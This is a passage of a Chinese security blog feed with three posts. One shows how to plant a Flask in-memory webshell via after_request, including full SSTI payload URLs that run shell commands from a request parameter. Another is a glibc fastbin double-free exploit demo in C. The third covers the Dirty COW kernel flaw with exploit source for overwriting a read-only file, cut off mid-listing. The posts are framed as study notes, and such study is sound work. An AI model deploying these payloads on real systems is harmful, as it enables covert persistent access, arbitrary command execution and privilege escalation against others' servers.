<content type="html"><![CDATA[<p>最近发现了一个Python Flask框架的后台任意代码执行,利用成功以后想要进一步维持权限,所以想要使用Flask的内存马技术。</p><h2 id="add-url-rule存在的局限">add_url_rule存在的局限</h2><p>在网上浏览了很多文章,似乎都是清一色的介绍如何使用<code>add_url_rule</code>添加路由,但当下的FLask版本似乎已经不再支持在程序运行的过程中通过add_url_rule添加路由了。</p><p>测试代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/e'</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">e</span>():</span><br><span class="line"> a = <span class="built_in">eval</span>(request.args.get(<span class="string">'cmd'</span>))</span><br><span class="line"> <span class="keyword">if</span> a :</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"1"</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"0"</span></span><br></pre></td></tr></table></figure><p>访问<code>http://127.0.0.1:5000/e?cmd=app.add_url_rule('/shell','shell',lambda :"123")</code></p><p>然而会显示<code>The setup method 'add_url_rule' can no longer be called on the application.</code></p><p><img src="image-20240506112511343.png" alt="image-20240506112511343"></p><p>所以,我们只能通过其他方式添加路由来处理我们的请求,这里我们可以尝试使用<code>@app.before_request</code></p><h2 id="before-request">before_request</h2><p>在 Flask 中,<code>before_request</code> 是一个装饰器,它用于在请求处理之前执行特定的函数。这个装饰器允许对每个请求进行一些预处理,比如认证检查、日志记录、设置响应头等。</p><p><img src="image-20240506185343380.png" alt="image-20240506185343380"></p><p>通过底层源码可以看到<code>before_request</code>实际上调用的是<code>self.before_request_funcs.setdefault(None, []).append(f)</code>,其意思是:</p><ul><li>检查 <code>self.before_request_funcs</code> 字典中是否有一个键为 <code>None</code> 的条目。</li><li>如果没有 <code>None</code> 键,就在字典中创建它,并将其值设置为一个空列表。</li><li>然后,无论 <code>None</code> 键是否存在,都将函数 <code>f</code> 添加到这个列表中。</li></ul><p>这个函数f就是我们要添加的函数。</p><p>当访问<code>http://127.0.0.1:5000/e?cmd=app.before_request_funcs.setdefault(None, []).append(lambda: "123")</code>后,后续所有的访问结果都将变成123</p><p><img src="image-20240506163439890.png" alt="image-20240506163439890"></p><p>可见通过<code>before_request</code>添加内存马这一条路是可行的,但同样会有一点问题,就是使用lambda必然会得到一个返回值,那么服务后续的操作都无法进行,会影响到主机的正常业务。</p><h2 id="after-request">after_request</h2><p>针对这个问题,我们可以使用<code>@app.after_request</code>来解决,与<code>@app.before_request</code>类似,<code>after_request</code>会在请求结束得到响应包之后进行操作,查看底层源码可以看到其调用方法和<code>before_request</code>类似</p><p><img src="image-20240506163948368.png" alt="image-20240506163948368"></p><p><code>self.after_request_funcs.setdefault(None, []).append(f)</code>传入的f就是对应的自定义函数,但这里的f需要接收一个response对象,同时返回一个response对象。</p><p>但我们仅通过lambad无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response。</p><p>访问对应的url为<code>http://127.0.0.1:5000/e?cmd=app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())')==None else resp)</code></p><p>函数的内容为:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">lambda</span> resp: <span class="comment">#传入参数</span></span><br><span class="line">CmdResp <span class="keyword">if</span> request.args.get(<span class="string">'cmd'</span>) <span class="keyword">and</span> <span class="comment">#如果请求参数含有cmd则返回命令执行结果</span></span><br><span class="line"> <span class="built_in">exec</span>(<span class="string">'</span></span><br><span class="line"><span class="string"> global CmdResp;#定义一个全局变量,方便获取</span></span><br><span class="line"><span class="string"> CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())#创建一个响应对象</span></span><br><span class="line"><span class="string"> '</span>)==<span class="literal">None</span> <span class="comment">#恒真</span></span><br><span class="line"> <span class="keyword">else</span> resp)<span class="comment">#如果请求参数没有cmd则正常返回</span></span><br><span class="line"><span class="comment">#这里的cmd参数名和CmdResp变量名都是可以改的,最好改成服务中不存在的变量名以免影响正常业务</span></span><br></pre></td></tr></table></figure><h2 id="ssti利用">ssti利用</h2><p>如果存在ssti,例如</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/'</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">home</span>():</span><br><span class="line"> person = <span class="string">'guest'</span></span><br><span class="line"> <span class="keyword">if</span> request.args.get(<span class="string">'name'</span>):</span><br><span class="line"> person = request.args.get(<span class="string">'name'</span>)</span><br><span class="line"> template = <span class="string">'<h2>Helo %s!</h2>'</span> % person</span><br><span class="line"> <span class="keyword">return</span> render_template_string(template)</span><br></pre></td></tr></table></figure><p>考虑到没有导包的情况,完整的url为:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://<span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">5000</span>/?name={{url_for.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'eval'</span>](<span class="string">"app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)"</span>,{<span class="string">'request'</span>:url_for.__globals__[<span class="string">'request'</span>],<span class="string">'app'</span>:url_for.__globals__[<span class="string">'current_app'</span>]})}}</span><br></pre></td></tr></table></figure><p>此时会发现成功打上了一个内存马</p><p><img src="image-20240506185820545.png" alt="image-20240506185820545"></p><p>参考:</p><p><a href="https://xz.aliyun.com/t/10933">Python 内存马分析</a></p>]]></content>
<summary type="html"><p>最近发现了一个Python Flask框架的后台任意代码执行,利用成功以后想要进一步维持权限,所以想要使用Flask的内存马技术。</p>
<h2 id="add-url-rule存在的局限">add_url_rule存在的局限</h2>
<p>在网上浏览了很多文章,似乎都</summary>
<category term="内存马" scheme="http://example.com/tags/%E5%86%85%E5%AD%98%E9%A9%AC/"/>
</entry>
<entry>
<title>linux双重释放漏洞</title>
<link href="http://example.com/post/2024/linux%E5%8F%8C%E9%87%8D%E9%87%8A%E6%94%BE%E6%BC%8F%E6%B4%9E/"/>
<id>http://example.com/post/2024/linux%E5%8F%8C%E9%87%8D%E9%87%8A%E6%94%BE%E6%BC%8F%E6%B4%9E/</id>
<published>2024-04-27T13:48:25.000Z</published>
<updated>2024-08-21T08:22:39.457Z</updated>
<content type="html"><![CDATA[<p>最近刚好一个项目涉及到了double free漏洞,于是有了本篇学习记录。</p><h2 id="介绍">介绍</h2><p>double free(双重释放)是一个经典的利用堆的漏洞,指释放同一块内存区域两次,那么当再次申请内存的时候,可以通过修改chunk的fd指针来达到获取任意地址写的目的。下面通过两个测试来说明。</p><h2 id="测试环境">测试环境</h2><p>首先是一个简单的测试,使用的是Ubuntu 20.04版本,glibc版本为2.31</p><h2 id="测试一">测试一</h2><p>测试代码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><assert.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"> setbuf(<span class="built_in">stdout</span>, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"This file demonstrates a simple double-free attack with fastbins.\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Fill up tcache first.\n"</span>);</span><br><span class="line"> <span class="type">void</span> *ptrs[<span class="number">8</span>];</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i=<span class="number">0</span>; i<<span class="number">8</span>; i++) {</span><br><span class="line"> ptrs[i] = <span class="built_in">malloc</span>(<span class="number">8</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i=<span class="number">0</span>; i<<span class="number">7</span>; i++) {</span><br><span class="line"> <span class="built_in">free</span>(ptrs[i]);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Allocating 3 buffers.\n"</span>);</span><br><span class="line"> <span class="type">int</span> *a = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">8</span>);</span><br><span class="line"> <span class="type">int</span> *b = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">8</span>);</span><br><span class="line"> <span class="type">int</span> *c = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"1st calloc(1, 8): %p\n"</span>, a);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"2nd calloc(1, 8): %p\n"</span>, b);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"3rd calloc(1, 8): %p\n"</span>, c);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Freeing the first one...\n"</span>);</span><br><span class="line"> <span class="built_in">free</span>(a);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"If we free %p again, things will crash because %p is at the top of the free list.\n"</span>, a, a);</span><br><span class="line"> <span class="comment">// free(a);</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"So, instead, we'll free %p.\n"</span>, b);</span><br><span class="line"> <span class="built_in">free</span>(b);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Now, we can free %p again, since it's not the head of the free list.\n"</span>, a);</span><br><span class="line"> <span class="built_in">free</span>(a);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n"</span>, a, b, a, a);</span><br><span class="line"> a = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">8</span>);</span><br><span class="line"> b = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">8</span>);</span><br><span class="line"> c = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">8</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"1st calloc(1, 8): %p\n"</span>, a);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"2nd calloc(1, 8): %p\n"</span>, b);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"3rd calloc(1, 8): %p\n"</span>, c);</span><br><span class="line"></span><br><span class="line"> assert(a == c);</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>一开始是跟着b站上的一个<a href="https://www.bilibili.com/video/BV15E411W7wS">视频</a>来学习的,但视频中使用的是2.23版本的glibc,而在2.26 版本中引入了一种新的堆管理机制Tcachebin,所以前面需要先把Tcachebin给用malloc和free占满,然后使用calloc来申请新的内存。</p><p>输出结果:</p><p><img src="image-20240427220311528.png" alt="image-20240427220311528"></p><p>在申请3个chunk:A,B,C之后</p><p>按照 A、B、A 的顺序释放时,会发生以下情况:</p><ol><li><strong>释放 A</strong>:当释放 A 时,它被放入 fastbin 的的链表头部。</li><li><strong>释放 B</strong>:释放 B 时,B 也被放入 fastbin 的链表中,但由于是后释放的,它被放在 A 的后面。</li><li><strong>释放 A(再次释放)</strong>:由于 fastbin 是 LIFO(先进后出) 的,再次释放 A 时,它不会被放入链表的头部,而是覆盖了之前释放的 A 节点。因此,链表中 A 的指针现在指向了 B。</li></ol><p>现在,fastbin 的 链表看起来是这样的:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x555756e7a390 —▸ 0x555756e7a3b0 ◂— 0x555756e7a390</span><br></pre></td></tr></table></figure><h2 id="测试二">测试二</h2><p>尝试获取已存在变量的地址并修改变量值。</p><p>测试代码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><assert.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"></span><br><span class="line"><span class="comment">//和之前一样占满Tcachebin</span></span><br><span class="line"> <span class="type">void</span> *ptrs[<span class="number">7</span>];</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> i=<span class="number">0</span>; i<<span class="number">7</span>; i++) {</span><br><span class="line"> ptrs[i] = <span class="built_in">malloc</span>(<span class="number">8</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i=<span class="number">0</span>; i<<span class="number">7</span>; i++) {</span><br><span class="line"> <span class="built_in">free</span>(ptrs[i]);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//创建两个变量,其中stack_var是伪chunk;t是我们要获取的变量地址以及要修改的变量值</span></span><br><span class="line"> <span class="type">unsigned</span> <span class="type">long</span> stack_var;</span><br><span class="line"> <span class="type">unsigned</span> <span class="type">long</span> t=<span class="number">1</span>;</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"t:%ld,&t:%p\n"</span>,t,&t);</span><br><span class="line"> </span><br><span class="line"> <span class="comment">//申请三块堆内存</span></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocating 3 buffers.\n"</span>);</span><br><span class="line"> <span class="type">int</span> *a = <span class="built_in">calloc</span>(<span class="number">1</span>,<span class="number">8</span>);</span><br><span class="line"> <span class="type">int</span> *b = <span class="built_in">calloc</span>(<span class="number">1</span>,<span class="number">8</span>);</span><br><span class="line"> <span class="type">int</span> *c = <span class="built_in">calloc</span>(<span class="number">1</span>,<span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"1st calloc(1,8): %p\n"</span>, a);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"2nd calloc(1,8): %p\n"</span>, b);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"3rd calloc(1,8): %p\n"</span>, c);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//按aba的顺序释放掉,此时fastbin:a->b<-a</span></span><br><span class="line"> <span class="built_in">free</span>(a);</span><br><span class="line"> <span class="built_in">free</span>(b);</span><br><span class="line"> <span class="built_in">free</span>(a);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the free list has [ %p, %p, %p ]. "</span></span><br><span class="line"> <span class="string">"We'll now carry out our attack by modifying data at %p.\n"</span>, a, b, a, a);</span><br><span class="line"> </span><br><span class="line"> <span class="comment">//获取a的地址给d,此时fastbin:b<-a</span></span><br><span class="line"> <span class="type">unsigned</span> <span class="type">long</span> *d = <span class="built_in">calloc</span>(<span class="number">1</span>,<span class="number">8</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"1st calloc(1,8): %p\n"</span>, d);</span><br><span class="line"> <span class="comment">//第二次用掉b的地址,此时fastbin中还剩下a的地址也就是d</span></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"2nd calloc(1,8): %p\n"</span>, <span class="built_in">calloc</span>(<span class="number">1</span>,<span class="number">8</span>));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the free list has [ %p ].\n"</span>, a);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now, we have access to %p while it remains at the head of the free list.\n"</span></span><br><span class="line"> <span class="string">"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"</span></span><br><span class="line"> <span class="string">"so that calloc will think there is a free chunk there and agree to\n"</span></span><br><span class="line"> <span class="string">"return a pointer to it.\n"</span>, a);</span><br><span class="line"> <span class="comment">//开始构造伪chunk,并设定chunk size为0x20</span></span><br><span class="line"> stack_var = <span class="number">0x20</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//覆盖指针,此时fastbin:a->&t</span></span><br><span class="line"> *d = (<span class="type">unsigned</span> <span class="type">long</span>)(((<span class="type">char</span>*)&stack_var)<span class="number">-8</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//用掉a,此时fastbin:&t<-0</span></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"3rd calloc(1,8): %p, putting the stack address on the free list\n"</span>, <span class="built_in">calloc</span>(<span class="number">1</span>,<span class="number">8</span>));</span><br><span class="line"></span><br><span class="line"> <span class="comment">//此时p指针指向t</span></span><br><span class="line"> <span class="type">unsigned</span> <span class="type">long</span> *p = <span class="built_in">calloc</span>(<span class="number">1</span>,<span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"4th calloc(1,8): %p\n"</span>, p);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//修改*p也就是t的值</span></span><br><span class="line"> *p = <span class="number">123</span>;</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"t:%ld\n"</span>, t);</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>运行结果:</p><p><img src="image-20240428002932670.png" alt="image-20240428002932670"></p><p>解析:</p><p>在64位机器上,unsigned long 占8字节,所以&t比&stack_var高了8字节</p><p><img src="image-20240427235343429.png" alt="image-20240427235343429"></p><p>在<code>*d = (unsigned long)(((char*)&stack_var)-8);</code>处打一个断点,未执行前</p><p>fastbin:</p><p><img src="image-20240427235950720.png" alt="image-20240427235950720"></p><p>对应的chunk</p><p><img src="image-20240428000243115.png" alt="image-20240428000243115"></p><p>而d是一个指针变量,指向0x555555559380</p><p>在执行结束后对应的chunk:</p><p><img src="image-20240428000807295.png" alt="image-20240428000807295"></p><p>可以明显看到fd变成了0x7fffffffdec0那么此时的fastbin为:</p><p><img src="image-20240428000845104.png" alt="image-20240428000845104"></p><p>而<code>0x7fffffffdec0</code>是链表的头部地址,在经过两次calloc后就可以拿到的地址是<code>0x7fffffffded0</code>,也就是变量t的地址。</p><p><img src="image-20240428002356526.png" alt="image-20240428002356526"></p><p>通过这种方式就可以拿到变量t的地址,并对t进行修改,同时glibc版本不同,会对指针覆盖进行限制(例如加密之类的),所以要根据具体的版本去修改利用代码。</p><p>参考:</p><p><a href="https://www.52pojie.cn/thread-1882363-1-1.html">堆利用详解:fastbin dup</a></p><p><a href="https://www.bilibili.com/video/BV15E411W7wS">【CTF】GLibc堆利用-Double Free</a></p>]]></content>
<summary type="html"><p>最近刚好一个项目涉及到了double free漏洞,于是有了本篇学习记录。</p>
<h2 id="介绍">介绍</h2>
<p>double free(双重释放)是一个经典的利用堆的漏洞,指释放同一块内存区域两次,那么当再次申请内存的时候,可以通过修改chunk的fd指针</summary>
<category term="linux" scheme="http://example.com/categories/linux/"/>
<category term="pwn" scheme="http://example.com/tags/pwn/"/>
</entry>
<entry>
<title>linux提权之dirtycow</title>
<link href="http://example.com/post/2023/linux%E6%8F%90%E6%9D%83%E4%B9%8Bdirtycow/"/>
<id>http://example.com/post/2023/linux%E6%8F%90%E6%9D%83%E4%B9%8Bdirtycow/</id>
<published>2023-12-23T01:46:25.000Z</published>
<updated>2024-01-16T01:53:04.613Z</updated>
<content type="html"><![CDATA[<p>Dirty COW(脏牛)漏洞是一种影响Linux操作系统的本地特权升级漏洞,其全称为"Copy-On-Write"(写时复制)漏洞。这个漏洞在2016年被公开,并且影响了大量的Linux内核版本。</p><p>Dirty COW漏洞的根本原因是<code>Linux在竞态条件下的复制时写入(Copy-On-Write)机制的实现存在缺陷</code>。Copy-On-Write是一种内存管理技术,它允许多个进程共享同一个物理内存页面的副本,直到其中一个进程尝试修改该页面时,系统才会复制出一个新的页面供修改进程使用。</p><p><code>竞态条件(Race Condition)</code>是多个并发操作或线程访问共享资源时可能出现的一种问题。竞态条件发生在多个操作之间存在依赖关系,并且操作的执行顺序会影响最终的结果。</p><p>听起来似乎比较复杂,我们可以简单一点</p><p>假设有一个变量a</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">a=<span class="string">"dirty"</span></span><br></pre></td></tr></table></figure><p>同时还有另一个变量b</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">b=a</span><br></pre></td></tr></table></figure><p>尽管这是两个变量,但它们都指向同一个内存对象,因为不需要为相同的值占用两倍的内存量。但如果修改了b变量,操作系统就会为这个变量分配单独的内存。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">b+=<span class="string">"cow"</span></span><br></pre></td></tr></table></figure><p>修改时,内核执行了一下操作:</p><ol><li><p>为新修改的变量分配内存</p></li><li><p>读取正在复制的对象的原始内容</p></li><li><p>对它执行任何必要的更改,即附加“cow”</p></li><li><p>将修改后的内容写入新分配的内存空间</p></li></ol><p>在步骤 2 和 4 之间存在竞态条件,会使内存映射器将修改后的内容写入原始内存空间,而不是新分配的空间。这样,我们最终会修改 <code>a</code>这个 原始对象而不是 <code>b</code>,即使我们只有 <code>a</code>的只读权限,仍然可以通过竞态条件绕过。</p><p>接下来我们可以通过一个小实验来理解这个过程</p><h1 id="开始实验">开始实验</h1><p>本实验的目标是使用 Dirty Cow 漏洞修改只读文件。</p><p>首先通过root创建一个其他人都只能读的只读文件test.txt</p><p><img src="image-20231223164736506.png" alt="image-20231223164736506"></p><p>接着通过gcc编译一下代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><sys/mman.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><fcntl.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><pthread.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><sys/stat.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><string.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> *<span class="built_in">map</span>;</span><br><span class="line"><span class="type">void</span> *<span class="title function_">writeThread</span><span class="params">(<span class="type">void</span> *arg)</span>;</span><br><span class="line"><span class="type">void</span> *<span class="title function_">madviseThread</span><span class="params">(<span class="type">void</span> *arg)</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">pthread_t</span> pth1,pth2;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">stat</span> <span class="title">st</span>;</span></span><br><span class="line"> <span class="type">int</span> file_size;</span><br><span class="line"></span><br><span class="line"> <span class="type">int</span> f=open(<span class="string">"test.txt"</span>, O_RDONLY);</span><br><span class="line"></span><br><span class="line"> fstat(f, &st);</span><br><span class="line"> file_size = st.st_size;</span><br><span class="line"> <span class="built_in">map</span>=mmap(<span class="literal">NULL</span>, file_size, PROT_READ, MAP_PRIVATE, f, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"> <span class="type">char</span> *position = <span class="built_in">strstr</span>(<span class="built_in">map</span>,<span class="string">"dirty"</span>); </span><br><span class="line"></span><br><span class="line"> pthread_create(&pth1, <span class="literal">NULL</span>, madviseThread, (<span class="type">void</span> *)file_size); </span><br><span class="line"> pthread_create(&pth2, <span class="literal">NULL</span>, writeThread, position); </span><br><span class="line"></span><br><span class="line"> pthread_join(pth1, <span class="literal">NULL</span>);</span><br><span class="line"> pthread_join(pth2, <span class="literal">NULL</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"><span class="type">void</span> *<span class="title function_">writeThread</span><span class="params">(<span class="type">void</span> *arg)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">char</span> *content= <span class="string">"cow"</span>;</span><br><span class="line"> <span class="type">off_t</span> offset = (<span class="type">off_t</span>) arg;</span><br><span class="line"> <span class="type">int</span> f=open(<span class="string">"/proc/self/mem"</span>, O_RDWR);</span><br><span class="line"> <span class="type">int</span> i = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span>(i = <span class="number">0</span>; i < <span class="number">200000000</span>; i++) {</span><br><span class="line"> lseek(f, offset, SEEK_SET);</span><br><span class="line"> write(f, content, <span class="built_in">strlen</span>(content));</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="type">void</span> *<span class="title function_">madviseThread</span><span class="params">(<span class="type">void</span> *arg)</span></span><br><span 